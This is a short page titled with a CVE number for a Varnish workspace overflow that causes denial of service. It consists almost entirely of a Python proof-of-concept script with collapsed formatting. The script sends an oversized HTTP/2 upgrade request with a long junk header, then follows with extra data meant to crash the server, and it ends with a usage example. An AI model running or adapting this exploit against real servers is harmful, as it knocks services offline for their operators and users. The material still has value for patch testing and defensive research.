CVE-2026-40394 Varnish工作区溢出致拒绝服务漏洞

import socket import time def trigger_poc(target_ip, target_port): try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Construct a malicious HTTP/1 request requesting upgrade to HTTP/2 # with large headers to simulate prefetched data causing workspace split large_prefetch = "X-Large-Header: " + "A" * 8000 + "\r\n" payload = ( "GET / HTTP/1.1\r\n" "Host: " + target_ip + "\r\n" "Connection: Upgrade, HTTP2-Settings\r\n" "Upgrade: h2c\r\n" "HTTP2-Settings: AAMAAABkAAQAAP__\r\n" + large_prefetch + "\r\n" ) s.send(payload.encode()) # Keep connection open or send subsequent data to trigger pipelining overflow # depending on server timing time.sleep(1) # Attempt to send more data to stress the workspace s.send(b"X-Extra-Data: Trigger\r\n\r\n") response = s.recv(1024) print("Response received, check if server crashed.") except Exception as e: print(f"Error: {e}") finally: s.close() # Usage: # trigger_poc("127.0.0.1", 80)